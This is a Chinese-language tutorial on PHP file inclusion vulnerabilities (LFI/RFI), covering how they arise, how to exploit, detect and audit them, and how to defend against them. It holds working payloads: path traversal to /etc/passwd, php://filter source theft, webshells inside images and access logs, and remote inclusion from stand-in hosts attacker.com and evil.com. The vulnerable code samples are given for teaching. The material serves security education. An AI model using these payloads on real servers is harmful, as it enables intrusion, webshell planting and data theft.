1. 项目概述文件包含漏洞的攻防实战笔记在安全测试和渗透测试的面试里文件包含漏洞File Inclusion Vulnerability几乎是必考题。它不像SQL注入那样“声名显赫”也不像XSS那样“花样百出”但它的威力在于一旦被利用往往能成为攻击者从外部打入内部、获取服务器权限的关键跳板。很多开发者在写代码时为了方便复用会使用include、require这类函数动态加载文件这本是正常的编程实践。但问题就出在如果加载的文件路径或名称是由用户输入比如URL参数、表单数据直接控制的并且没有经过严格的过滤攻击者就能“指哪打哪”让服务器去包含并执行一个本不该被访问的文件。我整理这份笔记就是为了把文件包含漏洞从原理、分类、利用手法到防御策略结合我自己的踩坑经验系统地梳理一遍。无论你是准备面试的安全新人还是想加固自己应用的开发者这篇文章都能给你提供清晰的路径和可实操的细节。2. 漏洞原理与核心机制深度解析2.1 为什么“包含”会变成“漏洞”要理解文件包含漏洞首先得抛开“漏洞”这个负面标签回到编程的初衷。在PHP、JSP等动态网页开发中为了提高代码的复用性和可维护性开发者经常会把一些公共函数、数据库配置、页面头部尾部等代码抽离出来放在独立的文件里。比如一个网站的每个页面都需要连接数据库那么就会有一个config.php文件存放数据库用户名和密码。在其他页面里只需要写一行include(‘config.php‘);就能直接使用里面定义的变量和函数这非常方便。漏洞产生的根源就在于这个“包含”的动作变得“动态”且“可控”了。我们来看一段最经典的漏洞代码示例?php $file $_GET[‘file‘]; // 直接从URL参数获取文件名 include($file . ‘.php‘); // 包含该文件 ?这段代码的本意可能是用户访问index.php?filenews服务器就会去包含news.php文件显示新闻页面。看起来逻辑很清晰。但是攻击者的思维不会停留在这里。他们会想既然$file变量完全由我通过URL控制那我能不能让它指向别的路径比如../../etc/passwd或者我能不能让它包含一个我上传的、带有恶意代码的图片文件如果服务器真的傻傻地照做了那么后果不堪设想。这里的关键点在于include、require、include_once、require_once这些函数在处理被包含的文件时会将其中的代码当作当前脚本的一部分来执行。如果被包含的是.txt文本文件服务器会尝试把它当PHP代码执行如果里面恰好有?php phpinfo(); ?那么phpinfo()函数就会被执行。这就是“文件包含”演变为“代码执行”漏洞的核心逻辑。注意很多人会混淆文件包含和文件读取。文件读取比如通过file_get_contents()只是获取文件的内容通常以文本形式输出不会解析执行其中的PHP代码。而文件包含则会触发PHP解析器。这是本质区别。2.2 本地包含与远程包含的本质区别文件包含漏洞主要分为两类本地文件包含Local File Inclusion, LFI和远程文件包含Remote File Inclusion, RFI。它们的利用条件和危害范围有显著不同。本地文件包含LFI攻击者只能包含服务器本地文件系统上存在的文件。这听起来似乎限制很大但别忘了服务器本身就有大量敏感文件。利用LFI攻击者可以读取敏感系统文件如/etc/passwdLinux用户列表、/etc/shadowLinux密码哈希需root权限、C:\boot.iniWindows系统信息、各种配置文件httpd.conf,php.ini,my.cnf等从而获取系统信息、数据库密码等。结合其他漏洞实现代码执行这是LFI最危险的利用方式。如果网站同时存在文件上传漏洞攻击者可以上传一个包含PHP代码的图片文件例如在图片的EXIF信息中嵌入?php system($_GET[‘cmd‘]); ?然后通过LFI漏洞去包含这个图片的路径最终达到执行任意命令的目的。包含日志文件实现注入攻击者可以尝试将PHP代码写入Web服务器的访问日志access.log或错误日志error.log然后通过LFI包含日志文件让其中的PHP代码被执行。这通常需要攻击者能控制User-Agent或请求路径使其包含可执行的PHP标签。远程文件包含RFI攻击者可以包含一个远程服务器通常是攻击者自己控制上的文件。这意味着攻击者可以将恶意脚本直接放在自己的服务器上然后诱使目标服务器去包含并执行它。RFI的危害通常是直接的代码执行和WebShell获取。RFI的实现需要更苛刻的条件PHP配置允许在php.ini配置文件中allow_url_fopen和allow_url_include这两个选项必须为On。默认情况下allow_url_include通常是Off的这使得RFI在实际中比LFI更少见但一旦存在危害极大。被包含的远程文件需要能被目标服务器访问通常意味着攻击者需要有一台具有公网IP的服务器来存放恶意文件。一个简单的RFI示例 假设目标漏洞代码为?php include($_GET[‘page‘]); ?攻击者可以在自己的服务器http://attacker.com/shell.txt上放置一个内容为?php phpinfo(); ?的文件。 然后构造访问http://victim.com/vuln.php?pagehttp://attacker.com/shell.txt如果配置允许目标服务器会去请求这个URL并将返回的内容即phpinfo();当作PHP代码执行。2.3 从开发视角看漏洞成因信任边界失控从根源上讲文件包含漏洞是“信任边界”模糊甚至缺失的典型表现。在安全的编程模型中所有来自用户端客户端的输入都是不可信的必须经过严格的验证和过滤才能进入核心业务逻辑信任域。在文件包含的场景中“要包含哪个文件”这是一个业务逻辑决策。这个决策的依据即文件路径如果完全交给了不可信的用户输入就等于将服务器文件系统的访问权限部分暴露给了用户。开发者潜意识里做了一个危险的假设“用户只会输入我预定义好的那几个文件名如‘home‘, ‘news‘, ‘about‘。” 而安全的原则恰恰是“永远不要相信客户端传来的任何数据。”更隐蔽的问题是即使开发者做了一些过滤如果过滤不彻底依然可能被绕过。例如代码中拼接了固定后缀.php开发者以为这样用户就无法包含.txt文件了。但攻击者可以利用截断技巧如%00空字节截断在特定PHP版本下或路径遍历../../../来突破限制。这种“做了防护但没做对”的情况在实际代码中非常普遍。3. 漏洞利用手法与实战技巧拆解理解了原理我们进入实战环节。文件包含漏洞的利用手法多样需要根据目标环境PHP版本、配置、过滤方式灵活选择。3.1 无限制本地包含的利用这是最理想的情况代码类似于include($_GET[‘file‘]);没有任何过滤。利用手法1目录遍历读取任意文件这是最基本的操作。利用../在Linux/Unix和Windows中都通用进行路径回溯读取系统文件。示例Payload?file../../../../etc/passwd实战要点../的数量需要猜测。可以尝试从1个开始递增或者使用Burp Suite的Intruder模块进行模糊测试。在Windows系统上还可以使用盘符如?fileC:\Windows\System32\drivers\etc\hosts。但注意在Web应用中路径分隔符最好使用/因为PHP在Windows环境下也能识别/。如果目标系统是Windows并且使用了\作为分隔符在URL中需要编码为%5c。利用手法2结合编码读取PHP源码直接包含一个.php文件服务器会执行它而不是显示它的源代码。如果我们想窃取网站的源代码比如管理后台的admin.php就需要用到PHP伪协议php://filter。示例Payload?filephp://filter/readconvert.base64-encode/resourceindex.php原理解析php://filter是一个元封装器用于对数据流进行过滤处理。readconvert.base64-encode表示对读取的资源进行base64编码。resourceindex.php指定要读取的资源是index.php文件。服务器会读取index.php的内容进行base64编码后输出。攻击者拿到这串base64字符串后解码即可得到原始的PHP源代码。这种方式避免了代码被直接执行。利用手法3结合文件上传获取WebShell这是LFI危害升级的关键。假设网站有头像上传功能虽然对文件后缀做了检查只允许.jpg,.png但攻击者可以制作一个包含PHP代码的图片马。使用命令copy normal.jpg /b shell.php /a webshell.jpgWindows或直接在图片的二进制内容末尾添加?php eval($_POST[‘cmd‘]);?。上传这个webshell.jpg文件假设它被保存到/uploads/2023/10/abc123.jpg。利用LFI漏洞包含这个图片?file./uploads/2023/10/abc123.jpg。服务器会尝试解析这张“图片”中的PHP代码攻击者便可以用中国菜刀、蚁剑等工具连接这个URL并传递cmd参数执行命令从而获得一个WebShell。3.2 有限制本地包含的绕过技巧开发人员意识到风险后可能会添加简单的防御。场景1后缀拼接代码如include($_GET[‘file‘] . ‘.php‘);开发者意图你只能包含.php文件。绕过方法空字节截断%00在PHP版本 5.3.4且magic_quotes_gpcoff时有效。Payload:?file../../etc/passwd%00。%00是URL编码的空字符在C语言字符串处理中代表结束。PHP在拿到../../etc/passwd%00后拼接上.php但在某些内部处理中遇到%00会认为字符串已结束最终包含的文件是../../etc/passwd。路径长度截断在Windows下路径长度超过256字节Linux下超过4096字节时超出的部分会被丢弃。可以构造超长的路径使拼接的.php被截断。例如?file../../etc/passwd/././././重复大量的./。这种方法现在已较少见因为现代系统和PHP版本对此有了更好的处理。场景2前缀限制代码如include(‘./pages/‘ . $_GET[‘file‘]);开发者意图你只能包含./pages/目录下的文件。绕过方法使用路径遍历跳出限制目录。 Payload:?file../../../etc/passwd。最终拼接的路径为./pages/../../../etc/passwd经过系统路径规范化后等价于../../etc/passwd成功跳出pages目录。场景3关键词过滤代码可能用str_replace过滤../等关键词。$file str_replace(‘../‘, ‘‘, $_GET[‘file‘]); include($file);绕过方法双写绕过。 过滤函数只执行一次。Payload:?file....//....//....//etc/passwd。经过str_replace(‘../‘, ‘‘, $file)处理后中间的../被删除相邻的字符又组成了新的../最终变成../../../etc/passwd。3.3 远程包含与伪协议的高级利用当allow_url_includeOn时RFI和伪协议的利用空间就打开了。利用手法1直接远程包含WebShell这是最直接的RFI利用。攻击者将一句话木马?php eval($_POST[‘a‘]);?保存为shell.txt放在自己的公网服务器上如http://evil.com/shell.txt。 Payload:?filehttp://evil.com/shell.txt。目标服务器会请求这个URL并将返回的内容当作PHP代码执行。攻击者即可用中国菜刀连接目标网站的漏洞URL密码为a。利用手法2利用php://input执行代码php://input是个只读流可以访问请求的原始数据即POST数据。即使allow_url_includeOff只要allow_url_fopenOn这个协议通常也可用。利用方式发送一个POST请求到漏洞URL。Payload:?filephp://input在POST Body中直接写入要执行的PHP代码?php system(‘whoami‘); ?服务器会包含php://input这个“文件”而它的内容就是POST Body其中的PHP代码会被执行。利用手法3利用php://filter进行编码与写入除了读源码php://filter还能配合write过滤器进行写入操作但需要特定条件可写目录。更常见的是利用它进行base64解码写入。思路有时我们有一个文件包含点但无法上传文件。我们可以通过包含php://filter将一段base64编码后的WebShell代码解码并写入目标文件。Payload示例需要其他条件配合?filephp://filter/writeconvert.base64-decode/resourceshell.php然后POST Body中发送经过特定处理的base64编码字符串。因为convert.base64-decode会解码所有非base64字符所以需要精确计算让解码后的内容正好是我们想要的PHP代码。这个利用相对复杂对条件要求苛刻。利用手法4利用data://协议执行代码data://协议允许在URL中直接嵌入数据。它同样需要allow_url_includeOn。Payload示例?filedata://text/plain,?php phpinfo();?或者base64编码方式?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8?php phpinfo();?的base64编码。这个协议非常危险因为它让攻击者无需外部服务器直接在URL里携带可执行代码。3.4 利用日志文件包含实现注入这是一种非常经典的“无文件上传”获取WebShell的思路尤其在只有LFI的情况下。找到可写的日志文件路径常见的如Apache的/var/log/apache2/access.log、/var/log/httpd/access_logSSH的/var/log/auth.log等。可以通过LFI读取一些已知文件来猜测路径或者利用报错信息。将PHP代码注入日志Web服务器会将HTTP请求的细节记录到访问日志中包括User-Agent、Referer等字段。攻击者可以构造一个请求在User-Agent中携带PHP代码。GET /vuln.php?filetest HTTP/1.1 Host: victim.com User-Agent: ?php system($_GET[‘c‘]);?这段?php system($_GET[‘c‘]);?就会被原封不动地记录到access.log文件中。包含日志文件然后利用LFI漏洞去包含这个日志文件。 Payload:?file../../../../var/log/apache2/access.log如果包含成功日志文件中的PHP代码就会被执行。执行命令现在这个包含点就变成了一个WebShell。我们可以传递c参数来执行命令。 Payload:?file../../../../var/log/apache2/access.logcid服务器会先包含日志文件执行其中的system($_GET[‘c‘])从而运行id命令。实操心得日志文件包含的成功率取决于几个因素一是日志文件路径可猜、可读二是Web进程如www-data用户有权限读取日志文件三是日志文件中没有对PHP标签进行转义默认不会。此外日志文件通常很大包含一个大文件可能导致进程超时或内存耗尽有时需要多次尝试或寻找更小的日志文件如错误日志。4. 漏洞挖掘与测试实战流程知道了怎么利用那在安全测试中如何发现它呢不能光靠猜得有系统的方法。4.1 黑盒测试中的漏洞探测黑盒测试下我们不知道后端代码只能通过输入输出和行为来推断。步骤一参数收集与模糊测试使用爬虫工具如Burp Suite的爬虫、OWASP ZAP或手动浏览收集所有可能的用户输入点。重点关注URL参数特别是那些看起来像页面名称的参数如?pageabout,?fileheader,?templatedefault,?loadnews。对每个可疑参数进行模糊测试Fuzzing。使用一个强大的字典包含以下类型的测试用例路径遍历../../../etc/passwd,..\..\..\windows\win.ini,....//....//....//etc/passwd。协议包装器php://filter/readconvert.base64-encode/resourceindex.php,data://text/plain,test,expect://whoami需开启特定扩展。远程包含测试http://你的测试服务器/test.txt先在测试服务器上放一个无害的echo文件观察目标服务器是否有对外请求。空字节测试../../../etc/passwd%00,../../../etc/passwd%00.jpg。步骤二响应分析发送Payload后仔细观察服务器的响应文件内容泄露如果响应中出现了/etc/passwd文件中的root:x:0:0...内容或者PHP配置文件信息直接证明LFI存在。报错信息这是最重要的线索。如果看到Warning: include(../../../etc/passwd): failed to open stream: No such file or directory这强烈暗示了include函数在使用我们控制的参数并且路径遍历生效了只是文件不存在。如果报错是Warning: include(): Failed opening ‘...‘ for inclusion也类似。响应时间差异包含一个本地存在的文件如/etc/passwd和不存在的文件服务器响应时间可能有细微差别。包含一个远程URL时如果allow_url_include开启服务器会发起网络请求可能导致明显的延迟。无错误但页面变化尝试包含一个已知存在的网站文件如?fileindex.php观察页面是否变成了首页或者布局错乱因为重复包含了头部尾部这也能证明包含功能存在。步骤三利用验证与边界确认一旦发现可疑行为需要进一步验证和确定利用边界。确认可读目录尝试包含不同目录的文件如./index.php,../index.php,../../index.php看是否能包含到网站其他位置的脚本。测试过滤规则如果包含../../../etc/passwd失败但包含../../index.php成功可能过滤了etc等关键词。尝试双写、大小写混淆Etc、编码%65%74%63等方式绕过。尝试伪协议发送php://filter的Payload如果返回了一长串base64编码的字符串解码后是网页源码则漏洞确认并可用来读取源码。4.2 白盒审计中的代码审查如果你是开发者或进行代码审计白盒方式能更精准地发现问题。审查关键函数在PHP中重点关注以下函数include()include_once()require()require_once()fopen()file_get_contents()注意这个通常只读文件不执行代码但可能用于读取敏感文件追踪用户输入检查这些函数的参数是否直接或间接来源于用户可控的输入$_GET,$_POST,$_REQUEST$_COOKIE$_SERVER中的某些变量如$_SERVER[‘QUERY_STRING‘],$_SERVER[‘PHP_SELF‘]虽然不常见但存在被污染的可能分析数据处理流程找到用户输入点到包含函数之间的代码路径。看中间是否有过滤、验证、拼接。过滤是否在拼接之后例如先拼接后缀.php再过滤../可能导致过滤失效。过滤是否可绕过使用的str_replace、preg_replace是否只执行一次正则表达式是否写得不严谨如/\.\.\//可能无法匹配....//是否有白名单最好的防御是白名单机制。检查代码是否只允许包含一个预定义的数组内的文件。一个典型的危险代码模式$page $_GET[‘p‘]; if (isset($page)) { include(‘/pages/‘ . $page . ‘.php‘); // 拼接了目录前缀和后缀但未检查$page内容 } else { include(‘/pages/home.php‘); }这段代码看起来有前缀和后缀限制但如果$page是../../../etc/passwd最终路径变成/pages/../../../etc/passwd.php经过系统解析后会尝试包含/etc/passwd.php。如果/etc/passwd文件存在且无.php后缀包含会失败报错但已经暴露了问题。如果攻击者利用空字节截断../../../etc/passwd%00在旧版本PHP下可能成功包含/etc/passwd。5. 漏洞防御方案设计与最佳实践知道了怎么攻才能更好地防。防御文件包含漏洞核心原则就是“不要信任用户输入”和“最小权限原则”。5.1 输入验证白名单机制是王道最有效、最根本的防御措施是采用白名单机制。错误做法黑名单过滤../、http://等危险字符。黑名单永远无法穷尽所有可能性且容易被绕过。正确做法白名单定义一个允许包含的文件名或标识符的数组只允许用户输入在这个数组范围内。// 安全的代码示例 $allowed_pages array(‘home‘, ‘news‘, ‘about‘, ‘contact‘); $page $_GET[‘page‘]; if (in_array($page, $allowed_pages)) { include(‘./templates/‘ . $page . ‘.php‘); } else { include(‘./templates/error.php‘); // 或者直接die(‘Invalid page request.‘); }在这个例子中用户只能访问home、news、about、contact这四个页面任何其他输入都会被拒绝。攻击者无法通过目录遍历或协议包装器来突破这个限制。5.2 路径固定避免动态拼接如果业务上做不到严格的白名单也要尽量固定或限制文件路径。避免直接使用用户输入作为完整路径的一部分。如果必须动态决定文件应使用一个映射表或switch-case语句。使用basename()函数这个函数会返回路径中的文件名部分去掉任何目录信息。例如basename(‘../../../etc/passwd‘)返回passwd。但这只能防止目录遍历不能防止包含非预期文件。添加固定的前缀和后缀如include(‘./modules/‘ . $module . ‘.inc.php‘);。这增加了攻击难度但如前所述仍需警惕截断绕过。5.3 配置加固关闭危险选项从服务器配置层面降低风险。PHP配置将allow_url_include和allow_url_fopen设置为Off。这是防御RFI最直接有效的方法。在绝大多数生产环境中没有理由开启allow_url_include。设置open_basedir这个指令可以将PHP脚本所能访问的文件限制在指定的目录树中。例如open_basedir /var/www/html:/tmp这样PHP脚本就无法访问/etc、/home等目录。这不是万无一失的有时可以被绕过但能增加攻击门槛。Web服务器配置通过Apache的.htaccess或Nginx的location规则限制对敏感目录如/etc,/proc, 日志目录的访问。系统权限运行Web服务的用户如www-data,nginx应该具有最小权限。确保它只能读取Web根目录下必要的文件对系统文件和其他用户数据没有读取权限。5.4 代码实践安全函数与框架使用安全的包含函数如果存在一些框架或安全库提供了更安全的包含函数它们内部做了白名单或路径检查。拥抱现代框架使用成熟的PHP框架如Laravel, Symfony, ThinkPHP等。这些框架通常有成熟的视图加载机制通过路由和控制器来指定要加载的视图文件而不是直接从用户输入获取从根本上避免了文件包含漏洞。代码审计与安全扫描将文件包含漏洞的检测纳入代码审计清单和自动化安全扫描工具如SAST的规则中在开发阶段就发现问题。5.5 应急响应与修复如果线上系统发现了文件包含漏洞应该怎么做评估影响立即审查日志看是否有异常的包含请求如包含/etc/passwd、php://filter、远程URL等。尝试确定漏洞是否已被利用。临时修复最快的方式是在代码入口处或全局包含文件中对可疑参数进行强制过滤或直接禁用。例如在获取$_GET[‘file‘]后立即检查是否包含..、://等字符如有则直接返回404错误。但这只是临时措施。根本修复根据上述防御方案重新设计代码逻辑采用白名单机制。这是唯一可靠的长期解决方案。清理后门如果怀疑已被上传WebShell需要彻底检查网站目录特别是上传目录、临时目录查找近期创建的、可疑的.php、.phtml、.inc等文件。同时检查服务器上是否有异常进程、异常连接。文件包含漏洞是一个原理清晰但利用手法多样的经典漏洞。它的危害不亚于任何其他高危漏洞因为它常常是攻击链中的关键一环。对于开发者而言理解其成因在编码时时刻绷紧“不信任用户输入”这根弦采用白名单设计就能有效避免。对于安全人员而言掌握其探测、利用和验证方法才能在日常测试和应急响应中做到心中有数手中有术。安全是一个持续的过程攻防的较量也永远不会停止保持学习深入理解每一类漏洞背后的原理才是应对万变的不二法门。